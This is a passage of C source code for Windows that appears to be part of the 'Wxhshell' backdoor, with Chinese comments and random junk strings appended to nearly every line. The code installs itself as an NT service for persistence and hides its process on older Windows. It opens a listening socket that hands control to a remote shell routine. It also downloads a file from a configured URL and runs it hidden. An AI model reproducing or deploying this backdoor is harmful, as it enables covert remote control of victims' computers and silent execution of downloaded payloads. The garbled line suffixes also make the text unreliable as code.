ULONG UniqueProcessId;
92oFlEJ
ULONG InheritedFromUniqueProcessId; 8KzkB;=n
} PROCESS_BASIC_INFORMATION; 13x p_j
`VguQl_,gA
PROCNTQSIP NtQueryInformationProcess; b4N[)%@
7B66]3v
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #o#H?Vo9b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a9V,es"BWQ
R0*|Lo$6
HANDLE hProcess; X#^[<5
PROCESS_BASIC_INFORMATION pbi; LZxNAua
4BpZJ~(p
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "fOV^B
if(NULL == hInst ) return 0; K[zVa
AH~E )S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R.<g3"Lm>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
rjnrju+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e$Pj.>-<=
mQ"-,mMI
if (!NtQueryInformationProcess) return 0; pOoEI+t
DZtsy!xA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;Q`lNFa
if(!hProcess) return 0; a0H+.W+]
67FWa
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7WzxA=*#
dioGAai'
CloseHandle(hProcess); (KZ{^X?a
a/xn'"eli
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tpa5N'O
if(hProcess==NULL) return 0; @-`*m+$U6
5wU]!bxr
HMODULE hMod; SNk=b6`9
char procName[255]; ysnx3(+|
unsigned long cbNeeded; U-k`s[dv
Dk5 1z@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'i|YlMFI g
>Y@H4LF;1x
CloseHandle(hProcess); M x"\5i
Q^^niVz
if(strstr(procName,"services")) return 1; // 以服务启动 tw)mepwB
^E>3|du]O
return 0; // 注册表启动 Q\sK"~@3
} ]JQULE)
$U-0)4yf
// 主模块 uHRsFlw
int StartWxhshell(LPSTR lpCmdLine) !&@615Vtw
{ 4 s9LB
SOCKET wsl; t\O16O7S
BOOL val=TRUE; !^G\9"4A
int port=0; }4X0epPp;:
struct sockaddr_in door; ]7c=PC
rEz^
if(wscfg.ws_autoins) Install(); :NTO03F7v
<b*DQ:N
port=atoi(lpCmdLine); )NT*bLRPQ
(A.C]hD
if(port<=0) port=wscfg.ws_port; h'nY3GrU
EU Fa5C:
WSADATA data; ]A_`0"m.U
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j3ls3H&
0jWVp-y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Bk{]g=DO
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vtJJ#8a]
door.sin_family = AF_INET; k4zZ7H
door.sin_addr.s_addr = inet_addr("127.0.0.1"); lPAQ3t!,
door.sin_port = htons(port); SSzIih@u
,|/f`Pl
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X2'0PXv>!
closesocket(wsl); &mM0AA'\?H
return 1; ti,d&c_7
} +&H4m=D-#a
XL/u#EA0<
if(listen(wsl,2) == INVALID_SOCKET) { +jgSV.N
closesocket(wsl); hOK8(U0
return 1; n~Lt\K:
} )D%~`,#pQ
Wxhshell(wsl); WUTowr
WSACleanup(); z` b,h\
7F.4Ga;
return 0; %A0/1{(
ql~J8G9
} u_Z+;{]Pj
j B{8u&kz)
// 以NT服务方式启动 >=w)x,0yX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9+!hg'9Qn
{ :[d9tm
DWORD status = 0; ^xk'Z
DWORD specificError = 0xfffffff; K)iF>y|{*q
WTiD[u
serviceStatus.dwServiceType = SERVICE_WIN32; llDkJ)\
serviceStatus.dwCurrentState = SERVICE_START_PENDING; jSaU?ac
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;qV>L=a
serviceStatus.dwWin32ExitCode = 0; iK;XZZ(
serviceStatus.dwServiceSpecificExitCode = 0; w&.aQGR#
serviceStatus.dwCheckPoint = 0; M
D#jj3y
serviceStatus.dwWaitHint = 0; h;'~,xA
0b 54fD=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #T"4RrR
if (hServiceStatusHandle==0) return; :Llb< MY2
wb ;xRP"w
status = GetLastError(); dDGQ`+H9
if (status!=NO_ERROR) ]eV8b*d6
{ K:WDl;8(d
serviceStatus.dwCurrentState = SERVICE_STOPPED; 62NsJ<#>
serviceStatus.dwCheckPoint = 0; b#o|6HkW
serviceStatus.dwWaitHint = 0; ]/{)bpu
serviceStatus.dwWin32ExitCode = status; q1ma%eiN
serviceStatus.dwServiceSpecificExitCode = specificError; PZzMHK?hP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iU:cW=W|M\
return; ?\n>
AC
} \
B%+fw
V28M lP
serviceStatus.dwCurrentState = SERVICE_RUNNING; )O6>*wq
serviceStatus.dwCheckPoint = 0; z0Z%m@
serviceStatus.dwWaitHint = 0; 7-V/RChBm
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !p/goqT~dY
} .jK4?}]
tT._VK]o&R
// 处理NT服务事件,比如:启动、停止 Ew$C
;&9
VOID WINAPI NTServiceHandler(DWORD fdwControl) *yGGBqd
{ 5`_SN74o
switch(fdwControl) qcRs$-J
{ f?)-}\[IR{
case SERVICE_CONTROL_STOP: @E8+C8'
serviceStatus.dwWin32ExitCode = 0; HE\K@3-
serviceStatus.dwCurrentState = SERVICE_STOPPED; [_:nHZb
serviceStatus.dwCheckPoint = 0; $Ygue5{c
serviceStatus.dwWaitHint = 0; A?0Nm{O;3v
{ O33`+UV"W
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &9>vl*
} %]7d`/
return; CU~PT.
case SERVICE_CONTROL_PAUSE: Kf-JcBsrT
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7x8
yxE
break; Fs^Mw
go
case SERVICE_CONTROL_CONTINUE: Y|/ 8up
serviceStatus.dwCurrentState = SERVICE_RUNNING; VS|2|n1<6
break; DIUjn;>k8
case SERVICE_CONTROL_INTERROGATE: o,wUc"CE
break; HOJV,9v N
}; :MDKC /mC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @KUWxFak
} `QY)!$mUIF
d0 /#nz
// 标准应用程序主函数 Z #m+ObHK1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .o}v#W+st
{ NZz 8j^
.tr!(O],h
// 获取操作系统版本 H%lVl8oQ
OsIsNt=GetOsVer(); W(/h Vt
GetModuleFileName(NULL,ExeFile,MAX_PATH); HLi%%"'
XB5DPx
// 从命令行安装 (uidNq
if(strpbrk(lpCmdLine,"iI")) Install(); )=-szJjXZ
]}X
// 下载执行文件 J?$,c4;W2
if(wscfg.ws_downexe) { '4<1 1(U
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P1f[%1
WinExec(wscfg.ws_filenam,SW_HIDE); -D~%|).'
} |vzl. ^"-
L{Vqh0QD&
if(!OsIsNt) { |e0`nn=
// 如果时win9x,隐藏进程并且设置为注册表启动 II=79$n`G
HideProc(); PTV:IzoW
StartWxhshell(lpCmdLine); eJ81-!)
} j*m%*_kO
else 9(<@O%YU
if(StartFromService()) YZJyk:H\
// 以服务方式启动 9-m=*|p
StartServiceCtrlDispatcher(DispatchTable); wwcBsJ1{
else ^LzF@{ G
// 普通方式启动 _h1mF<\ X^
StartWxhshell(lpCmdLine); 7 Fsay+a
@9|hMo
return 0; PeEj&4k
}